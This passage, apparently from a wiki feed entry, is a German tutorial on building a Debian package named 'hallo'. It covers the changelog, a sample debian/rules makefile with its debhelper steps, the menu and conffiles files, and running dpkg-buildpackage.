      * Initial Release.&lt;br /&gt;
      * This is my first Debian package.&lt;br /&gt;
      * No upstream changes.&lt;br /&gt;
&lt;br /&gt;
     -- Marcus Geiger   Sun, 29 Jul 2001 18:48:42 +0200&lt;br /&gt;
&lt;br /&gt;
     Local variables:&lt;br /&gt;
     mode: debian-changelog&lt;br /&gt;
     End:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Damit Emacs in den Debian-Changelog-Mode wechselt, wurden die unteren drei Zeilen eingefuegt (Erleichtert das Einhalten des Formats).&lt;br /&gt;
urgency=low besagt, dass die Aenderungen nicht wesentlich sind.&lt;br /&gt;
&lt;br /&gt;
Jedesmal, wenn ein neues Paket-Release erstellt werden soll, muss die Version des Pakets erhoet werden. Am besten verwendet man dazu den Befehl dch -i, der die Versionsnummer des Pakets inkrementiert (siehe dch(1)). Anschliessend muss nur die changelog ergaenzt werden.&lt;br /&gt;
&lt;br /&gt;
Hinweis: Das Datums- und Zeitformat muss muss RFC822-konform sein. Haendisch kann die aktuelle Zeit/Datum mit date -R abgefragt werden.&lt;br /&gt;
Das rules-File&lt;br /&gt;
&lt;br /&gt;
Das rules-File enthaelt das Regelwerk fuer dpkg-buildpackage(1). Es handelt sich also um ein ausfuerbares Makefile fuer die Paketerstellung.&lt;br /&gt;
&lt;br /&gt;
Wie ein &amp;quot;normales&amp;quot; Makefile, enthaelt das rules-File Ziele und die davon abhaengigen Regeln (siehe auch info make). Das von dh_make erstellt rules-File ist nur ein Vorschalg und sollte auf jeden Fall angepasst werden.&lt;br /&gt;
configure und configure-stamp&lt;br /&gt;
&lt;br /&gt;
Die make-Ziele configure und configure-stamp sind fuer die Konfiguration des Software Pakets zustaendig. Diese make-Ziele werden von dh_make nur dann erzeugt, wenn das Quellpaket autoconf/automake verwendet. Hier wird configure mit den notwendigen Optionen gestartet, so dass das resultierende Paket Debiankonform ist.&lt;br /&gt;
build und build-stamp&lt;br /&gt;
&lt;br /&gt;
Die make-Ziele build und build-stamp steuern den normalen Erstellungsprozess des Software-Pakets. Es wird also im wesentlichen ein make ausgefuehrt.&lt;br /&gt;
binary-arch&lt;br /&gt;
&lt;br /&gt;
Dieses make-Ziel ist das interessanteste, da es die Erstellung des Debianpakets steuert. Hier werden viele kleine Hilfprogramme aus der debhelper-Sammlung verwendet. Hier sollten auf jeden Fall Anpassungen vorgenommen werden, die die Gegebenheiten des Pakets reflektieren.&lt;br /&gt;
&lt;br /&gt;
    * dh_testdir prueft ob wir im richtigen Verzeichnis sind&lt;br /&gt;
    * dh_testroot prueft ob wir root-Rechte haben (fuer binary und clean)&lt;br /&gt;
    * dh_installdocs installiert die folgenden Debian Dateien: copyright, README.debian, TODO.debian, ...&lt;br /&gt;
    * dh_examples installiert mit dem Paket ausgelieferte Beispieldateien&lt;br /&gt;
    * dh_installmenu installiert einen Menueeintrag im Debian-Menue-System.&lt;br /&gt;
    * dh_installman installiert eine Manualpage&lt;br /&gt;
    * dh_installinfo installiert info-Seiten&lt;br /&gt;
    * dh_undocumented &amp;quot;installiert&amp;quot; eine Standard Manualpage mit dem Hinweis, dass das Paket keine Manualpage mitbringt.&lt;br /&gt;
    * dh_strip Entfernt Debugging-Informationen von uebersetzten Programmen.&lt;br /&gt;
    * dh_compress Komprimiert Manualpages und Dokumentation &amp;gt; 4KB&lt;br /&gt;
    * dh_fixperms Achtet auf korrekte Dateirechte&lt;br /&gt;
    * dh_installdeb Kopiert Maintainer-Files&lt;br /&gt;
    * dh_shlibdeps Berechnet die Abhaengigkeiten der verwendeten dynamischen Bibliotheken&lt;br /&gt;
    * dh_gencontrol Generiert und installiert das control-File&lt;br /&gt;
    * dh_md5sums Generiert MD5 Pruefsummen&lt;br /&gt;
    * dh_builddeb Generiert das Debian-Paket (mit dpkg)&lt;br /&gt;
&lt;br /&gt;
Obige Auflistung ist nicht vollstaendig und sollte nur als Anhaltspunkt dienen. Jedes der dh_*-Programme kommt mit einer eigenen Manualpage in der Sektion (1). Jedes der dh_*-Programme fuegt ein besonderes Featuer zum zu erstellenden Debian-Paket hinzu.&lt;br /&gt;
&lt;br /&gt;
Hier die rules-Date nach unseren Anpassungen:&lt;br /&gt;
&lt;br /&gt;
     #!/usr/bin/make -f&lt;br /&gt;
     # Sample debian/rules that uses debhelper.&lt;br /&gt;
     # GNU copyright 1997 to 1999 by Joey Hess.&lt;br /&gt;
&lt;br /&gt;
     # Uncomment this to turn on verbose mode.&lt;br /&gt;
     #export DH_VERBOSE=1&lt;br /&gt;
&lt;br /&gt;
     # This is the debhelper compatability version to use.&lt;br /&gt;
     export DH_COMPAT=3&lt;br /&gt;
&lt;br /&gt;
     configure: configure-stamp&lt;br /&gt;
     configure-stamp:&lt;br /&gt;
     	dh_testdir&lt;br /&gt;
     	# Add here commands to configure the package.&lt;br /&gt;
     	./configure --prefix=/usr --mandir=\$${prefix}/share/man \&lt;br /&gt;
                    --infodir=\$${prefix}/share/info&lt;br /&gt;
&lt;br /&gt;
     	touch configure-stamp&lt;br /&gt;
&lt;br /&gt;
     build: configure-stamp build-stamp&lt;br /&gt;
     build-stamp:&lt;br /&gt;
     	dh_testdir&lt;br /&gt;
&lt;br /&gt;
     	# Add here commands to compile the package.&lt;br /&gt;
     	$(MAKE)&lt;br /&gt;
     	#/usr/bin/docbook-to-man debian/hallo.sgml &amp;gt; hallo.1&lt;br /&gt;
&lt;br /&gt;
     	touch build-stamp&lt;br /&gt;
&lt;br /&gt;
     clean:&lt;br /&gt;
     	dh_testdir&lt;br /&gt;
     	dh_testroot&lt;br /&gt;
     	rm -f build-stamp configure-stamp&lt;br /&gt;
&lt;br /&gt;
     	# Add here commands to clean up after the build process.&lt;br /&gt;
     	-$(MAKE) distclean&lt;br /&gt;
&lt;br /&gt;
     	dh_clean&lt;br /&gt;
&lt;br /&gt;
     install: build&lt;br /&gt;
     	dh_testdir&lt;br /&gt;
     	dh_testroot&lt;br /&gt;
     	dh_clean -k&lt;br /&gt;
     	dh_installdirs&lt;br /&gt;
&lt;br /&gt;
     	# Add here commands to install the package into debian/hallo.&lt;br /&gt;
     	$(MAKE) install prefix=$(CURDIR)/debian/hallo&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
     # Build architecture-independent files here.&lt;br /&gt;
     binary-indep: build install&lt;br /&gt;
     # We have nothing to do by default.&lt;br /&gt;
&lt;br /&gt;
     # Build architecture-dependent files here.&lt;br /&gt;
     binary-arch: build install&lt;br /&gt;
     	dh_testdir&lt;br /&gt;
     	dh_testroot&lt;br /&gt;
     #	dh_installdebconf	&lt;br /&gt;
     	dh_installdocs&lt;br /&gt;
     #	dh_installexamples&lt;br /&gt;
     	dh_installmenu&lt;br /&gt;
     #	dh_installlogrotate&lt;br /&gt;
     #	dh_installemacsen&lt;br /&gt;
     #	dh_installpam&lt;br /&gt;
     #	dh_installmime&lt;br /&gt;
     #	dh_installinit&lt;br /&gt;
     #	dh_installcron&lt;br /&gt;
     #	dh_installman&lt;br /&gt;
     #	dh_installinfo&lt;br /&gt;
     	dh_undocumented&lt;br /&gt;
     	dh_installchangelogs ChangeLog&lt;br /&gt;
     	dh_link&lt;br /&gt;
     	dh_strip&lt;br /&gt;
     	dh_compress&lt;br /&gt;
     	dh_fixperms&lt;br /&gt;
     #	dh_makeshlibs&lt;br /&gt;
     	dh_installdeb&lt;br /&gt;
     #	dh_perl&lt;br /&gt;
     	dh_shlibdeps&lt;br /&gt;
     	dh_gencontrol&lt;br /&gt;
     	dh_md5sums&lt;br /&gt;
     	dh_builddeb&lt;br /&gt;
     &lt;br /&gt;
     binary: binary-indep binary-arch&lt;br /&gt;
     .PHONY: build clean binary-indep binary-arch binary install configure&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Das README.debian-File&lt;br /&gt;
&lt;br /&gt;
Hier sollten alle Aenderungen gegenueber der upstream-Version des Pakets ausfuehrlich dokumentiert werden.&lt;br /&gt;
conffiles&lt;br /&gt;
&lt;br /&gt;
Jedem Debianer duerfte die Debian-Handhabe mit den Konfigurationsdateien bekannt sein. Damit das Paketsystem weiss, welche Konfigurationsdateien das Paket mitbringt, sind diese in dieser Datei mit absolutem Pfad anzugen.&lt;br /&gt;
dirs&lt;br /&gt;
&lt;br /&gt;
Hier werden alle zu Installation benoetigten Verzeichnisse aufgefuehrt (z.B. /usr/bin).&lt;br /&gt;
menu&lt;br /&gt;
&lt;br /&gt;
Hier kann angegeben werden, wie das Paket in das Debian-Menuesystem integriert werden soll (siehe auch dh_installmenu(1) im rules-File).&lt;br /&gt;
&lt;br /&gt;
Da hallo ein Konsolenprogramm ist, aendern wir es wie folgt ab:&lt;br /&gt;
&lt;br /&gt;
     ?package(hallo):needs=text section=Apps/Tools \&lt;br /&gt;
     title=&amp;quot;hallo&amp;quot; command=&amp;quot;/usr/bin/hallo&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Paketerstellung&lt;br /&gt;
&lt;br /&gt;
Wenn wir uns sicher sind, alle Anpassungen vorgenommen zu haben, wechseln wir in das Paket-Hauptverzeichnis (hier hallo-0.1) und erstellen unser Debian-Paket:&lt;br /&gt;
&lt;br /&gt;
     dpkg-buildpackage -rfakeroot -us -uc -sa -tc&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ging alles gut erhalten wir die folgenden Dateien (ein Verzeichnis hoeher):&lt;br /&gt;
&lt;br /&gt;
    * hallo_0.1-1_i386.deb Das Debian-Paket fuer die Architektur fuer die wir uebersetzt haben&lt;br /&gt;
    * hallo_0.1.orig.tar.gz Der orginal Quellcode&lt;br /&gt;
    * hallo_0.1-1.dsc Auflistung der Bestandteile des Quellpakets.&lt;br /&gt;
    * hallo_0.1-1.diff.gz Alle Aenderungen am orginal Quellcode (siehe diff(1)).&lt;br /&gt;
    * hallo_0.1-1_i386.changes Enthaelt eine kleine Aenderungshistorie. Download-tools werden diese Datei aus, um zu entscheiden, was fuer das vollstaendige Quellpaket benoetigt wird. User koennen hier nachschauen, ob es sich lohnt, sich das Paket zu besorgen.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
</feed>